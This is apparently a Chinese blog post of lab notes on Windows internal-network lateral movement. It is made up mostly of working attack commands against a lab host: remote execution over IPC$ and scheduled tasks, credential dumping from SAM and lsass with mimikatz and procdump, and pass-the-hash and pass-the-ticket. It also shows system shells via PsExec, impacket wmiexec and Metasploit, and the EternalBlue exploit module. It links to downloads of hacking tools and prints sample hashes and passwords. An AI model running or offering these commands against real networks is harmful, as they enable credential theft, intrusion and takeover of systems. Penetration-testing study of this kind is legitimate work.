内网横向移动

发布时间 2023-10-03 21:03:36作者: BattleofZhongDinghe

内网横向移动

常用Windows远程连接和相关命令

1.IPC
1)建立连接

net use \\192.168.162.140\ipc$ /user:Administrator hongrisec@2019

在命令行中输入

net use

查看当前连接
2)ipc$的利用条件
a)开启了139,445端口
b)管理员开启了默认共享
3)ipc$连接失败的原因
a)用户名密码错误
b)目标没有打开ipc$默认共享
c)不能成功连接目标的139,445端口
d)命令输入错误
2.使用windows自带的工具获取远程主机信息
1)dir命令

dir \\192.168.162.140\c$

2)tasklist命令

tasklist /S 192.168.162.151 /U administrator /P hongrisec@2019

解决:
3.计划任务
1)at命令
windows2008之前(实测win7可以)
查看目标系统时间

net time \\192.168.162.140

将文件复制到目标系统中

copy calc.bat \\192.168.162.140\c$

使用at创建计划任务

at \\192.168.162.140 时间 C:\calc.bat


清除at记录

at \\192.168.162.140 2 /delete

使用at远程执行命令后,先将执行结果写入本地文件夹中,然后远程读取

at \\192.168.162.140 时间 cmd.exe /c "ipconfig > C:/1.txt"
type \\192.168.162.140\c$\1.txt

at \\192.168.162.140 3 /delete

2)schtasks命令(失败,出现找不到网络路径)
windows2008之后
在远程主机上创建一个名称为test的计划任务,在开机时启动,启动程序为c盘下的calc.bat,启动权限为system

schtasks /create /s 192.168.162.140 /tn test /sc onstart /tr c:\calc.bat /ru system /f

执行如下命令运行计划任务

schtasks /run /s 192.168.162.140 /i /tn "test"

Windows系统散列值获取分析与防范

1.GetPass
链接:https://pan.baidu.com/s/1pFP_NvUDtY25BxAMpeDbtg?pwd=yjy9
提取码:yjy9

2.PwDump7
下载https://github.com/Seabreg/pwdump

然后暴力破解
https://crackstation.net/

3.QuarksPwDump
下载https://github.com/tuthimi/quarkspwdump/blob/master/Release/QuarksPwDump.exe
使用

QuarksPwDump.exe --dump-hash-local


然后暴力破解
https://crackstation.net/
4.通过SAM和System文件抓取密码
导出SAM和System文件

reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv


使用mimikatz读取
下载
链接:https://pan.baidu.com/s/1Ve_U3EhOEtgjBXCKfzFIOw?pwd=l4v9
提取码:l4v9
解析

mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit 


5.使用mimikatz在线读取SAM文件

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit


或者

mimikatz.exe "privilege::debug" "log" "sekurlsa:logonpasswords" exit


6.使用mimikatz离线读取lsass.dmp文件
下载procdump
链接:https://pan.baidu.com/s/1974E3pe0JYYiksSsLIeZLQ?pwd=4njp
提取码:4njp
先把procdump.exe上传到受害机,然后导出lsass.dmp传回攻击机

procdump.exe -accepteula -ma lsass.exe lsass.dmp

攻击机中运行

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

哈希传递攻击(需要本地管理员权限)

注意执行dir访问远程主机时要用主机名,不能用ip地址
实战中是通过mimikatz获得同一个域的其他主机的hash值,然后利用哈希传递进行控制其他的主机
1.利用NTLM Hash进行哈希传递
受害机信息:
域名:STU1
ip:192.168.162.140
用户名:administrator
NTLM Hash:8a963371a63944419ec1adf687bb1be5

在攻击机中执行,会弹出一个新的cmd.exe

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:STU1 /ntlm:8a963371a63944419ec1adf687bb1be5" exit


可以将木马放到远程主机里
2.利用AES-256进行哈希传递
受害机信息:
域名:god
ip:192.168.162.140
用户名:stu1$
AES-256密钥:b9bb565bc987b5319903462cfff7249bcf530b719c7e4e0077bd5cb133eadaf7
在受害机中抓取AES-256密钥

mimikatz "privilege::debug" "sekurlsa::ekeys" exit


在攻击机中

mimikatz "privilege::debug" "sekurlsa::pth /user:stu1$ /domain:god /aes256:b9bb565bc987b5319903462cfff7249bcf530b719c7e4e0077bd5cb133eadaf7" exit


但这样还是不能进行访问远程主机,还得安装kb2871997补丁,在安装了kb2871997补丁后,常规的的哈希传递方法无法进行横向移动,但Administrator账号除外(SID为500)
创建一个快照,然后安装补丁https://www.microsoft.com/zh-tw/download/details.aspx?id=42722
查看sid值

whoami /user
wmic useraccount get name,sid

票据传递攻击(不需要本地管理员权限)(环境没搭建好)

1.使用mimikatz进行票据传递
将内存中的票据导出

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt,cifs,ldap等
使用mimikatz清除内存中的票据

kerberos::purge

将票据文件注入内存
2.使用kekeo进行票据传递

PsExec的使用

利用445端口的smb协议
1)PsTools
下载https://download.sysinternals.com/files/PSTools.zip
在有ipc$的情况下建立system权限的交互式shell,如果没有-s的话会建立administrator权限的shell

PsExec.exe -accepteula \\192.168.162.140 -s cmd.exe


如果没有ipc$的话(这个实验失败了)

PsExec.exe -accepteula \\192.168.162.140 -u administrator -p hongrisec@2019 cmd.exe

注意:
需要远程系统开启admin$共享(默认是开启的)
在使用ipc$连接目标系统后,不需要输入账号密码了
2)msf中的psexec
一般有两个模块
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(powershell版本)

use exploit/windows/smb/psexec
set rhost 192.168.162.140
set smbuser administrator
set smbpass hongrisec@2019
run


3)进行哈希传递攻击
下载 https://github.com/maaaaz/impacket-examples-windows(这个和pstools有些不同)
受害机信息:
域名:STU1
ip:192.168.162.140
用户名:administrator
NTLM Hash:8a963371a63944419ec1adf687bb1be5
那一串0可以省略,这样可以直接拿shell,方便些

psexec.exe -hashes 00000000000000000000000000000000:8a963371a63944419ec1adf687bb1be5 Administrator@192.168.162.140


如果已知明文密码,目前还是很疑惑密码中的@

psexec.exe Administrator:hongrisec@2019@192.168.162.140


如果在域中的话

psexec.exe god/Administrator:hongrisec@2019@192.168.162.140

WMI的使用

需要135端口开放
1)基础使用

wmic /node:192.168.162.140 /user:administrator /password:hongrisec@2019 process call create "cmd.exe /c ipconfig > ip.txt"

2)进行哈希传递攻击
下载 https://github.com/maaaaz/impacket-examples-windows(书接psexec)
受害机信息:
域名:STU1
ip:192.168.162.140
用户名:administrator
NTLM Hash:8a963371a63944419ec1adf687bb1be5
那一串0可以省略,这样可以直接拿shell,方便些

wmiexec.exe -hashes 00000000000000000000000000000000:8a963371a63944419ec1adf687bb1be5 Administrator@192.168.162.140

永恒之蓝漏洞

检测永恒之蓝漏洞

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.162.0/24
set threads 50
run


利用永恒之蓝漏洞

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.162.140

RDP服务哈希传递

单独写了个博客
https://www.cnblogs.com/thebeastofwar/p/17720118.html